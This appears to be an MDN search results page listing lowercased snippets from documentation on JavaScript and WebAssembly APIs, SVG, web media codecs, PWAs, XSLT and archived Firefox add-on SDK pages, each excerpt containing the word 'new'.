WeakSet.prototype.add() - JavaScript
the add() method appends a new object to the end of a weakset object.
... examples using add var ws = new weakset(); ws.add(window); // add the window object to the weakset ws.has(window); // true // weakset only takes objects as arguments ws.add(1); // results in "typeerror: invalid value used in weak set" in chrome // and "typeerror: 1 is not a non-null object" in firefox specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.add' in that specific...
WebAssembly.CompileError - JavaScript
constructor webassembly.compileerror() creates a new webassembly.compileerror object.
... examples creating a new compileerror instance the following snippet creates a new compileerror instance, and logs its details to the console: try { throw new webassembly.compileerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof compileerror); // true console.log(e.message); // "hello" console.log(e.name); // "compileerror" console.log(e.filename); ...
WebAssembly.Instance - JavaScript
constructor webassembly.instance() creates a new instance object.
...amples synchronously instantiating a webassembly module the webassembly.instance() constructor function can be called to synchronously instantiate a given webassembly.module object, for example: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = new webassembly.module(bytes); let instance = new webassembly.instance(mod, importobject); instance.exports.exported_func(); }) the preferred way to get an instance is asynchronously, for example using the webassembly.instantiatestreaming() function like this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestre...
WebAssembly.LinkError - JavaScript
constructor webassembly.linkerror() creates a new webassembly.linkerror object.
... examples creating a new linkerror instance the following snippet creates a new linkerror instance, and logs its details to the console: try { throw new webassembly.linkerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof linkerror); // true console.log(e.message); // "hello" console.log(e.name); // "linkerror" console.log(e.filename); // "so...
WebAssembly.Memory.prototype.grow() - JavaScript
examples using grow the following example creates a new webassembly memory instance with an initial size of 1 page (64kib), and a maximum size of 10 pages (640kib).
... var memory = new webassembly.memory({initial:1, maximum:10}); we can then grow the instance by one page like so: const bytesperpage = 64 * 1024; console.log(memory.buffer.bytelength / bytesperpage); // "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.bytelength / bytesperpage); // "2" note the return value of grow() here is the previous number of webassembly pages.
WebAssembly.Module - JavaScript
constructor webassembly.module() creates a new module object.
... var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
WebAssembly.RuntimeError - JavaScript
constructor webassembly.runtimeerror() creates a new webassembly.runtimeerror object.
... examples creating a new runtimeerror instance the following snippet creates a new runtimeerror instance, and logs its details to the console: try { throw new webassembly.runtimeerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof runtimeerror); // true console.log(e.message); // "hello" console.log(e.name); // "runtimeerror" console.log(e.filename); ...
WebAssembly.Table.prototype.grow() - JavaScript
examples using grow the following example creates a new webassembly table instance with an initial size of 2 and a maximum size of 10.
... var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification.
WebAssembly.Table.prototype.length - JavaScript
syntax table.length; examples using length the following example creates a new webassembly table instance with an initial size of 2 and a maximum size of 10.
... var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'length' in that specification.
WebAssembly.Table.prototype.set() - JavaScript
examples using table.set the following example (see table2.html source code and live version) creates a new webassembly table instance with an initial size of 2 references.
... var tbl = new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); console.log(tbl.get(0)); console.log(tbl.get(1)); we then create an import object that contains a reference to the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming(), log the table length, and invoke the two referenced functions that are now stored in the table (the table2.wasm module (see text representation) adds two function references to the table, both of which print ou...
encodeURIComponent() - JavaScript
return value a new string representing the provided string encoded as a uri component.
...without encodeuricomponent() the ampersand could be interpretted on the server as the start of a new field and jeopardize the integrity of the data.
Destructuring assignment - JavaScript
assigning to new variable names a property can be unpacked from an object and assigned to a variable with a different name than the object property.
... const {a = 10, b = 5} = {a: 3}; console.log(a); // 3 console.log(b); // 5 assigning to new variables names and providing default values a property can be both 1) unpacked from an object and assigned to a variable with a different name and 2) assigned a default value in case the unpacked value is undefined.
Equality (==) - JavaScript
// true "hello" == "hello"; // true comparison with type conversion "1" == 1; // true 1 == "1"; // true 0 == false; // true 0 == null; // false 0 == undefined; // false 0 == !!null; // true, look at logical not operator 0 == !!undefined; // true, look at logical not operator null == undefined; // true const number1 = new number(3); const number2 = new number(3); number1 == 3; // true number1 == number2; // false comparison of objects const object1 = {"key": "value"} const object2 = {"key": "value"}; object1 == object2 // false object2 == object2 // true comparing strings and string objects note that strings constructed using new string() are objects.
...however, if both operands are string objects, then they are compared as objects and must reference the same object for comparison to succeed: const string1 = "hello"; const string2 = string("hello"); const string3 = new string("hello"); const string4 = new string("hello"); console.log(string1 == string2); // true console.log(string1 == string3); // true console.log(string2 == string3); // true console.log(string3 == string4); // false console.log(string4 == string4); // true comparing dates and strings const d = new date('december 17, 1995 03:24:00'); const s = d.tostring(); // for example: "sun dec 17 1995 03:24:00 gmt-0800 (pacific standard time)...
Operator precedence - JavaScript
… computed member access left-to-right … [ … ] new (with argument list) n/a new … ( … ) function call left-to-right … ( … ) optional chaining left-to-right ?.
... 19 new (without argument list) right-to-left new … 18 postfix increment n/a … ++ postfix decrement … -- 17 logical not right-to-left !
Right shift (>>) - JavaScript
since the new leftmost bit has the same value as the previous leftmost bit, the sign bit (the leftmost bit) does not change.
...since the new leftmost bit has the same value as the previous leftmost bit, the sign bit (the leftmost bit) does not change.
class expression - JavaScript
const foo = class { constructor() {} bar() { return 'hello world!'; } }; const instance = new foo(); instance.bar(); // "hello world!" foo.name; // "foo" named class expressions if you want to refer to the current class inside the class body, you can create a named class expression.
... const foo = class namedfoo { constructor() {} whoisthere() { return namedfoo.name; } } const bar = new foo(); bar.whoisthere(); // "namedfoo" namedfoo.name; // referenceerror: namedfoo is not defined foo.name; // "namedfoo" specifications specification ecmascript (ecma-262)the definition of 'class definitions' in that specification.
super - JavaScript
class base { constructor() {} foo() {} } class derived extends base { constructor() {} delete() { delete super.foo; // this is bad } } new derived().delete(); // referenceerror: invalid delete involving 'super'.
... } } var y = new y(); y.foo(); // typeerror: "prop" is read-only console.log(y.prop); // 1 using super.prop in object literals super can also be used in the object initializer / literal notation.
yield - JavaScript
each time the generator's next() method is called, the generator resumes execution, and runs until it reaches one of the following: a yield, which causes the generator to once again pause and return the generator's new value.
... between the generator's code path, its yield operators, and the ability to specify a new starting value by passing it to generator.prototype.next(), generators offer enormous power and control.
Expressions and operators - JavaScript
new the new operator creates an instance of a constructor.
... new.target in constructors, new.target refers to the constructor that was invoked by new.
function* - JavaScript
const someobj = { *generator () { yield 'a'; yield 'b'; } } const gen = someobj.generator() console.log(gen.next()); // { value: 'a', done: false } console.log(gen.next()); // { value: 'b', done: false } console.log(gen.next()); // { value: undefined, done: true } generator as an object method class foo { *generator () { yield 1; yield 2; yield 3; } } const f = new foo (); const gen = f.generator(); console.log(gen.next()); // { value: 1, done: false } console.log(gen.next()); // { value: 2, done: false } console.log(gen.next()); // { value: 3, done: false } console.log(gen.next()); // { value: undefined, done: true } generator as a computed property class foo { *[symbol.iterator] () { yield 1; yield 2; } } const someobj = { *[symbol.iter...
...ator] () { yield 'a'; yield 'b'; } } console.log(array.from(new foo)); // [ 1, 2 ] console.log(array.from(someobj)); // [ 'a', 'b' ] generators are not constructable function* f() {} var obj = new f; // throws "typeerror: f is not a constructor generator defined in an expression const foo = function* () { yield 10; yield 20; }; const bar = foo(); console.log(bar.next()); // {value: 10, done: false} generator example function* powers(n){ //endless loop to generate for(let current =n;; current *= n){ yield current; } } for(let power of powers(2)){ //controlling generator if(power > 32) break; console.log(power) //2 //4 //8 //16 //32 } specifications specification ...
let - JavaScript
for example: var x = 'global'; let y = 'global'; console.log(this.x); // "global" console.log(this.y); // undefined emulating private members in dealing with constructors it is possible to use the let bindings to share one or more private members without using closures: var thing; { let privatescope = new weakmap(); let counter = 0; thing = function() { this.someproperty = 'foo'; privatescope.set(this, { hidden: ++counter, }); }; thing.prototype.showpublic = function() { return this.someproperty; }; thing.prototype.showprivate = function() { return privatescope.get(this).hidden; }; } console.log(typeof privatescope); // "undefined" var thing = new thin...
... break; } however, it's important to point out that a block nested inside a case clause will create a new block scoped lexical environment, which will not produce the redeclaration errors shown above.
Trailing commas - JavaScript
trailing commas (sometimes called "final commas") can be useful when adding new elements, parameters, or properties to javascript code.
... if you want to add a new property, you can simply add a new line without modifying the previously last line if that line already uses a trailing comma.
Authoring MathML - MathML
even the popular latex language keeps having new packages added.
... openoffice and libreoffice have an equation editor (file → new → formula).
Web audio codec guide - Web media technologies
g.722 audio is encoded using adaptive differential pulse code modulation (adpcm), in which each sample is represented not by its absolute value, but as a value indicating how much the new sample differs from the previous sample.
... audacity an open source audio editor that supports loading audio from many different formats, editing, filtering, and adjusting the audio, and saving it back out in either the original format or a new format.
Digital audio concepts - Web media technologies
researchers are continuing to devise better ways to analyze and compress audio, so new formats come out periodically that offer various improvements, either in compression ratio or audio fidelity (or both).
...it's why so much engineering and scientific study goes into the creation of new algorithms and codecs.
Codecs used by WebRTC - Web media technologies
finally, we call the rtcrtptransceiver's setcodecpreferences() method to specify that the given send and receive codecs are allowed, in the newly rearranged order.
... that's done for each transceiver on the rtcpeerconnection; once all of the transceivers have been updated, we call the onnegotiationneeded event handler, which will create a new offer, update the local description, send the offer along to the remote peer, and so on, thereby triggering the renegotiation of the connection.
The building blocks of responsive design - Progressive web apps (PWAs)
you don't get caught in the situation of having to bring out more new site versions as more new browsers and platforms come out, and adjust code as feature support in existing browsers changes.
...another proposal, srcset, was put forward by apple and takes a slightly different approach, instead providing a new srcset attribute for <img> inside which image references are placed along with "hints" that the browser can use to work out which image is most suitable to display given its viewport size, resolution, etc.
Progressive web apps (PWAs)
but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver new content whenever it is available.introduction to progressive web appsthis article provides an introduction to progressive web apps (pwas), discussing what they are and the advantages they offer over regular web apps.making pwas work offline with service workersin this article we took a simple look at how you can make your pwa work offline with service workers.
... hacker news readers as progressive web apps.
SVG Core Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeCore
svg 2 introduce the new lang attributes.
... svg 2 introduce the new lang attributes.
color-profile - SVG: Scalable Vector Graphics
not for use in new websites.deprecated.
... not for use in new websites.
d - SVG: Scalable Vector Graphics
WebSVGAttributed
there is no line drawn between po and the new current point (pn; {xn, yn}).
... large-arc-flag allows to chose one of the large arc (1) or small arc (0), sweep-flag allows to chose one of the clockwise turning arc (1) or anticlockwise turning arc (0) the coordinate x,y becomes the new current point for the next command.
target - SVG: Scalable Vector Graphics
WebSVGAttributetarget
svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.mozilla.org" target="_blank"> <text x="0" y="60">open link in new tab or window</text> </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in this tab or window</text> </a> </svg> usage notes value _self | _parent | _top | _blank | <xml-name> default value _self animatable yes _replace the current svg image is replaced by the linked content in the same rectang...
... _top the content of the full active window or tab is replaced by the linked content, if it exists and can be securely accessed from this document _blank a new un-named window or tab is requested for the display of the linked content, if this document can securely do so.
xml:space - SVG: Scalable Vector Graphics
ox="0 0 140 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" xml:space="default">default spacing</text> <text y="40" xml:space="preserve">preserved spacing</text> </svg> usage notes value default | preserve default value default animatable no default with this value set, whitespace characters will be processed in this order: all newline characters are removed.
... preserve this value tells the user agent to convert all newline and tab characters into spaces.
<feComposite> - SVG: Scalable Vector Graphics
transform="translate(900,25)" xlink:href="#twobluetriangles"/> </g> </defs> <rect fill="none" stroke="blue" x="1" y="1" width="1098" height="648"/> <g font-family="verdana" font-size="40" shape-rendering="crispedges"> <desc>render the examples using the filters that draw on top of an opaque white surface, thus obliterating the background.</desc> <g enable-background="new"> <text x="15" y="75">opacity 1.0</text> <text x="15" y="115" font-size="27">(with feflood)</text> <text x="15" y="200">opacity 0.5</text> <text x="15" y="240" font-size="27">(with feflood)</text> <use xlink:href="#bluetriangles"/> <g transform="translate(275,25)"> <use xlink:href="#red100" filter="url(#overflood)" /> <use xlink:href="#red50" fi...
...use xlink:href="#red50" filter="url(#xorflood)" /> <text x="15" y="275">xor</text> </g> <g transform="translate(900,25)"> <use xlink:href="#red100" filter="url(#arithmeticflood)" /> <use xlink:href="#red50" filter="url(#arithmeticflood)" /> <text x="-25" y="275">arithmetic</text> </g> </g> <g transform="translate(0,325)" enable-background="new"> <desc>render the examples using the filters that do not obliterate the background, thus sometimes causing the background to continue to appear in some cases, and in other cases the background image blends into itself ("double-counting").</desc> <text x="15" y="75">opacity 1.0</text> <text x="15" y="115" font-size="27">(without feflood)</text> ...
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
every pixel's color value [r,g,b,a] is matrix multiplied by a 5 by 5 color matrix to create new color [r',g',b',a'].
... 368 <svg> element, reference, svg, svg container, web the svg element is a container that defines a new coordinate system and viewport.
Example - SVG: Scalable Vector Graphics
new mote(); // mote::applyforce() -- adjust velocity // towards the given position.
... while( motes.length < num ) motes.push( new mote() ); // or too many?
Paths - SVG: Scalable Vector Graphics
WebSVGTutorialPaths
l takes two parameters—x and y coordinates—and draws a line from the current position to a new position.
... t x y (or) t dx dy this shortcut looks at the previous control point used and infers a new one from it.
SVG and CSS - SVG: Scalable Vector Graphics
example make a new svg document as a plain text file, doc8.svg.
...h class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> <g class="segment" transform="rotate(342)"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> </g> </g> </g> </svg> make a new css file, style8.css.
Tools for SVG - SVG: Scalable Vector Graphics
snap.svg url: snapsvg.io a newer javascript abstraction layer from the same author of raphael js.
... snap.svg is designed for modern browsers and therefore supports the newest svg features like masking, clipping, patterns, full gradients, groups.
How to turn off form autocompletion - Web security
preventing autofilling with autocomplete="new-password" if you are defining a user management page where a user can specify a new password for another person, and therefore you want to prevent autofilling of password fields, you can use autocomplete="new-password".
...however modern browsers have stopped autofilling <input> elements with autocomplete="new-password" for this very reason.
Using templates and slots - Web Components
creating a template with some slots first of all, we use the <slot> element within a <template> element to create a new "element-details-template" document fragment containing some named slots: <template id="element-details-template"> <style> details {font-family: "open sans light",helvetica,arial} .name {font-weight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span { background: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } ...
... creating a new <element-details> element from the <template> next, let’s create a new custom element named <element-details> and use element.attachshadow to attach to it, as its shadow root, that document fragment we created with our <template> element above.
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
to solve this two new pis are implemented in firefox 2 (see supported versions below for details), <?xslt-param?> and <?xslt-param-namespace?>.
... it is not an error for multiple pis to use the same prefix, every new pi just changes what namespace the prefix maps to.
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
figure 7: sorting based on div contentview example // xhtml fragment: <div id="example"> <div>1</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> <div>6</div> <div>7</div> <div>8</div> <div>9</div> <div>10</div> </div> // javascript var xslref; var xslloaded = false; var xsltprocessor = new xsltprocessor(); var mydom; var xmlref = document.implementation.createdocument("", "", null); function sort() { if (!xslloaded){ p = new xmlhttprequest(); p.open("get", "example2.xsl", false); p.send(null); xslref = p.responsexml; xsltprocessor.importstylesheet(xslref); xslloaded = true; } // create a new xml document in memory xmlref = document.implementation...
...); if (sortval == "" || sortval == "descending") xsltprocessor.setparameter(null, "myorder", "ascending"); else xsltprocessor.setparameter(null, "myorder", "descending"); // initiate the transformation var fragment = xsltprocessor.transformtofragment(xmlref, document); // clear the contents document.getelementbyid("example").innerhtml = ""; mydom = fragment; // add the new content from the transformation document.getelementbyid("example").appendchild(fragment) } // xsl stylesheet: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="html" indent="yes" /> <xsl:param name="myorder" /> <xsl:tem...
WebAssembly Concepts - WebAssembly
webassembly is a new type of code that can be run in modern web browsers and provides new features and major gains in performance.
...javascript frameworks could make use of webassembly to confer massive performance advantages and new features while still making functionality easily available to web developers.
Exported WebAssembly functions - WebAssembly
an example let's look at an example to clear things up (you can find this on github as table-set.html; see it running live also, and check out the wasm text representation): var othertable = new webassembly.table({ element: "anyfunc", initial: 2 }); webassembly.instantiatestreaming(fetch('table.wasm')) .then(obj => { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 othertable.set(0,tbl.get(0)); othertable.set(1,tbl.get(1)); console.log(othertable.get(0)()); console.log(othertable.get(1)()); }); here we create a table ...
...this may well change in the future though — a new int64 type is being considered for future standards, which could then be used by wasm.
Index - WebAssembly
found 12 pages: # page tags and summary 1 webassembly landing, webassembly, wasm webassembly is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as c/c++ with a compilation target so that they can run on the web.
... 3 compiling a new c/c++ module to webassembly c, c++, compiling, emscripten, webassembly, wasm when you’ve written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscripten.
Communicating With Other Scripts - Archive of obsolete content
<body> <script> function sendmessage() { var event = document.createevent('customevent'); event.initcustomevent("addon-message", true, true, { hello: 'world' }); document.documentelement.dispatchevent(event); } </script> <button onclick="sendmessage()">send message</button> </body> </html> finally, the content script "listen.js" listens for the new event and retrieves the payload from its detail attribute: window.addeventlistener("addon-message", function(event) { console.log(json.stringify(event.detail)); }, false); ...
Cross-domain Content Scripts - Archive of obsolete content
the forecast: <!doctype html> <!-- panel.html --> <html> <head></head> <body> <div id="forecast_summary"></div> </body> </html> the "panel-script.js" uses xmlhttprequest to fetch the latest forecast: // panel-script.js var url = "http://datapoint.metoffice.gov.uk/public/data/txt/wxfcs/regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request = new xmlhttprequest(); request.open("get", url, true); request.onload = function () { var jsonresponse = json.parse(request.responsetext); var summary = getsummary(jsonresponse); var element = document.getelementbyid("forecast_summary"); element.textcontent = summary; }; request.send(); }); function getsummary(forecast) { return forecast.regionalfcst.fcstperiods.period[0].pa...
Reddit Example - Archive of obsolete content
when the user clicks on the title of a story in the panel, the add-on opens the linked story in a new tab in the main browser window.
Content Scripts - Archive of obsolete content
deventlistener("myaddonid-contextmenu-clicked",' + ' function(event){contextmenualert(event.detail);});' }); let cm = require("sdk/context-menu"); cm.item({ label: "alert url", context: [ cm.urlcontext(["*.mozilla.org"]), cm.selectorcontext("a[href]") ], contentscript: 'self.on("click", function (node, data) {' + ' var event = new customevent("myaddonid-contextmenu-clicked",' + ' {detail:node.href});' + ' window.dispatchevent(event);' + '});' }); cross-domain content scripts by default, content scripts don't have any cross-domain privileges.
Modules - Archive of obsolete content
using this new version of loadscript, we can now rewrite our earlier example as follows: // index.js: let a = loadscript("www.foo.com/a.js"); let b = loadscript("www.foo.com/b.js"); a.foo // => 3 b.foo; // => 5 // a.js: foo = 3; // b.js: foo = 5; importing names in addition to exporting properties from the script being loaded to the loading script, we can also import properties from the loading script to ...
Module structure of the SDK - Archive of obsolete content
so a if you import a module using require, you can't change the properties of the object returned: self = require("sdk/self"); // attempting to define a new property // will fail, or throw an exception in strict mode self.foo = 1; // attempting to modify an existing property // will fail, or throw an exception in strict mode self.data = "foo"; using modules from outside the add-on sdk you can use commonjs modules outside the add-on sdk, in any environment where you can use components.utils.import.
Porting the Library Detector - Archive of obsolete content
the main add-on script, main.js, will use a page-mod to inject the content script into every new page.
Program ID - Archive of obsolete content
for example: addons.mozilla.org uses it to distinguish between new add-ons and updates to existing add-ons, and the simple-storage module uses it to figure out which stored data belongs to which add-on.
SDK API Lifecycle - Archive of obsolete content
at the same time, developers maintaining and extending the sdk's apis need to be able to introduce new apis that aren't yet fully proven, and to retire old apis when they're no longer optimal or supported by the underlying platform.
private-browsing - Archive of obsolete content
the user enters private browsing by opening a new private browser window.
ui - Archive of obsolete content
toolbar the ability to add buttons to toolbars is new in firefox 30.
High-Level APIs - Archive of obsolete content
windows enumerate and examine open browser windows, open new windows, and listen for window events.
content/symbiont - Archive of obsolete content
you map optionally pass a frame into the symbiont's constructor: if you don't, then a new hidden frame will be created to host the content.
event/core - Archive of obsolete content
for example, the tabs module emits an open event when a new tab is opened.
frame/hidden-frame - Archive of obsolete content
hiddenframe constructs a new hidden frame.
io/file - Archive of obsolete content
mkpath(path) makes a new directory named by the given path.
loader/sandbox - Archive of obsolete content
load(scope, 'resource://path/to/my/script.js'); load(scope, 'file:///path/to/script.js'); load(scope, 'data:,var a = 5;'); globals functions sandbox(source) make a new sandbox that inherits principals from source.
net/xhr - Archive of obsolete content
this is a constructor, so its use should always be preceded by the new operator.
system/child_process - Archive of obsolete content
this module enables you to execute a child program in a new process.
test/httpd - Archive of obsolete content
you can also use nshttpserver to start the server manually: var { nshttpserver } = require("sdk/test/httpd"); var srv = new nshttpserver(); // further documentation on developer.mozilla.org see http server for unit tests for general information.
util/list - Archive of obsolete content
examples: var { list } = require("sdk/util/list"); var mylist = list.compose({ add: function add(item1, item2, /*item3...*/) { array.slice(arguments).foreach(this._add.bind(this)); }, remove: function remove(item1, item2, /*item3...*/) { array.slice(arguments).foreach(this._remove.bind(this)); } }); mylist('foo', 'bar', 'baz').length == 3; // true new mylist('new', 'keyword').length == 2; // true mylist.apply(null, [1, 2, 3]).length == 3; // true let list = mylist(); list.length == 0; // true list.add(1, 2, 3) == 3; // true properties length number of elements in this list.
Low-Level APIs - Archive of obsolete content
you're more likely to use these if you are building your own modules that implement new apis, thus extending the sdk itself.
console - Archive of obsolete content
try { dothing(); } catch (e) { console.exception(e); } function userexception(message) { this.message = message; this.name = "userexception"; } function dothing() { throw new userexception("thing could not be done!"); } error: my-addon: an exception occurred.
jpm-mobile - Archive of obsolete content
jpm-mobile run this command runs a new instance of firefox with the add-on installed: jpm-mobile run jpm-mobile run accepts the following options: --adb /path/to/adb provides the path to adb.
Overview - Archive of obsolete content
the annotation-editor panel enables the user to enter a new annotation.
Display a Popup - Archive of obsolete content
var textarea = document.getelementbyid("edit-box"); textarea.addeventlistener('keyup', function onkeyup(event) { if (event.keycode == 13) { // remove the newline.
Listen for Page Load - Archive of obsolete content
you can get notifications about new pages loading using the tabs module.
Logging - Archive of obsolete content
the console.log() method prints an informational message: console.log("hello world"); try it out: create a new directory, and navigate to it execute jpm init, accepting all the defaults open "index.js" and add the line above execute jpm run firefox will start, and the following line will appear in the command window you used to execute jpm run: info: hello world!
Developing for Firefox Mobile - Archive of obsolete content
with the add-on sdk you can develop add-ons that run on this new version of firefox mobile as well as on the desktop version of firefox.
Open a Web Page - Archive of obsolete content
to open a new web page, you can use the tabs module: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); this function is asynchronous, so you don't immediately get back a tab object which you can examine.
Using XPCOM without chrome - Archive of obsolete content
uire('sdk/platform/xpcom'); const { placesutils } = require("resource://gre/modules/placesutils.jsm"); let bmlistener = class({ extends: unknown, interfaces: [ "nsinavbookmarkobserver" ], //this event most often handles all events onitemchanged: function(bid, prop, an, nv, lm, type, parentid, aguid, aparentguid) { console.log("onitemchanged", "bid: "+bid, "property: "+prop, "isanno: "+an, "new value: "+nv, "lastmod: "+lm, "type: "+type, "parentid:"+parentid, "aguid:"+aguid);0 // code to handle the event here } }); //we just have a class, but need an object.
On page load - Archive of obsolete content
this article is for xul/javascript developers who want to have custom code executed each time a new page is loaded in browser/mail.
SVG General - Archive of obsolete content
svg requires you to use setattributens to add attributes to a newly created svg dom element.
Toolbar - Archive of obsolete content
notes insert your button by default only once, at first run, or when an extension update adds a new button.
XPath - Archive of obsolete content
ssion,contextnode,namespaceresolver,resulttype,result); //obj and contextnode should be the same object, if context is a ajax xml object (example: returnedxml) this should be used as : returnedxml.evaluate(xpathexpression,returnedxml,namespaceresolver,returntype,result); //contextnode should be used in the one in which it was created //add by mooring 2008-11-15 16:00 china var xhr = new ajax('post','demo.xml',parsexml,'xml'); //ajax is a class written by javascript which return responsexml object to parsexml function function parsexml(obj)//obj is the returnxml object now { if(!obj.documentelement) { alert("your browser does't support this script!"); return; } var fields = [];//store the results if(window.activexobject) { var tobj = obj.documentelement.selectnode...
Communication between HTML and your extension - Archive of obsolete content
after the html component was update with the result of the ajax request, i created and dispatched the event like this: var event = document.createevent("events"); event.initevent("my-custom-event", true, true); document.body.dispatchevent(event); in the code of the extension that catches the loading of a new page i added this code: var doc = aevent.originaltarget; // doc is document that triggered "onload" event // do something with the loaded page.
Extension Theming Guidelines - Archive of obsolete content
branding certain items of your extensions style, in particular logos and icons can be kept in the chrome content package such that they are not replaceable by custom themes stylesheets guidelines include stylesheets for every new window that your extension adds and for every window that your extension overlays content into be sure to add a stylesheet from your chrome skin package.
Extension Etiquette - Archive of obsolete content
about dialogs there is a default popup about dialog that is created from install.rdf data; creating a new xul about box is usually unnecessary.
Hiding browser chrome - Archive of obsolete content
var prevfunc = xulbrowserwindow.hidechromeforlocation; xulbrowserwindow.hidechromeforlocation = function(alocation) { return (/* your test goes here */) || prevfunc.apply(xulbrowserwindow, [alocation]); } this works by saving a reference to the current implementation of the hidechromeforlocation() method, then replacing it with a new method that calls through to the previous implementation.
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
<button label="send" oncommand="send();" context="button-context"/> <menupopup id="button-context"> <menuitem label="send with new tab" oncommand="sendinnewtab();"/> </menupopup> buttons buttons that users can click on are defined using the button element.
Adding menus and submenus - Archive of obsolete content
adding a new menu we already saw how to add menus in overlays and, as you may have imagined, you can nest submenus as deep as you want.
Appendix A: Add-on Performance - Archive of obsolete content
note: see the newer article performance best practices in extensions for more up-to-date information about how to optimize the performance of your add-on.
Connecting to Remote Content - Archive of obsolete content
we create this instance using xpcom instead of the usual way (new xmlhttprequest()) because this way works both in chrome and non-chrome code.
Useful Mozilla Community Sites - Archive of obsolete content
you just need to upload a new version of your extension, and once it's approved it will be pushed as an update to all your users.
User Notifications and Alerts - Archive of obsolete content
notification boxes are very easy to create, and are very customizable: let nb = gbrowser.getnotificationbox(); let acceptbutton = new object(); let declinebutton = new object(); let message = this._bundle.getstring("xulschoolhello.friendmessage.label"); let that = this; acceptbutton.label = this._bundle.getstring("xulschoolhello.acceptbutton.label"); acceptbutton.accesskey = this._bundle.getstring("xulschoolhello.acceptbutton.accesskey"); acceptbutton.popup = null; acceptbutton.callback = function() { that.acceptrequest(...
Overlay extensions - Archive of obsolete content
the privileged javascript apis described here can still be used in these newer types of add-ons.
Performance best practices in extensions - Archive of obsolete content
improving startup performance extensions are loaded and run whenever a new browser window opens.
Security best practices in extensions - Archive of obsolete content
conclusion security can't be taken for granted, and for every release of your add-on, a new security audit should take place.
Supporting search suggestions in search plugins - Archive of obsolete content
if the user continues to type, a new set of suggestions is requested from the search engine, and the displayed list is refreshed.
Firefox addons developer guide - Archive of obsolete content
opinions: i think we should be careful about adding new contents to this guide.
DOMSubtreeModified - Archive of obsolete content
document.body.addeventlistener('domsubtreemodified', function () { document.title = 'dom changed at ' + new date(); }, false); ...
updateready - Archive of obsolete content
the updateready event is fired when the resources listed in the application cache manifest have been newly redownloaded, and the script can use swapcache() to switch to the new cache.
Install.js - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
Images, Tables, and Mysterious Gaps - Archive of obsolete content
in cases where an author is writing a new document or trying to migrate a design to be as standards-based as possible, then "almost standards" mode is probably a better choice.
Monitoring WiFi access points - Archive of obsolete content
on(iid) { netscape.security.privilegemanager.enableprivilege('universalxpconnect'); if (iid.equals(components.interfaces.nsiwifilistener) || iid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_error_no_interface; }, } netscape.security.privilegemanager.enableprivilege('universalxpconnect'); var listener = new test(); var wifi_service = components.classes["@mozilla.org/wifi/monitor;1"].getservice(components.interfaces.nsiwifimonitor); wifi_service.startwatching(listener); </script> </head> <body> <div id="d"><p></p></div> <div id="c"><p></p></div> </body> </html> the nsiwifilistener object the first thing the code above does is to prototype the listener object that will be receiving notificatio...
No Proxy For configuration - Archive of obsolete content
new profiles contain the values "localhost, 127.0.0.1", by default.
Same-origin policy for file: URIs - Archive of obsolete content
the new security.fileuri.strict_origin_policy preference, which defaults to true, can be set to false if the user doesn't want to strictly enforce the same origin policy on file: uris.
Using content preferences - Archive of obsolete content
var iosvc = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var prefservice = components.classes["@mozilla.org/content-pref/service;1"] .getservice(components.interfaces.nsicontentprefservice); // create a uri object referencing the site to save a preference for var uri = iosvc.newuri("http://developer.mozilla.org/", null, null); // set the value of the "devmo.somesetting" preference to "foo".
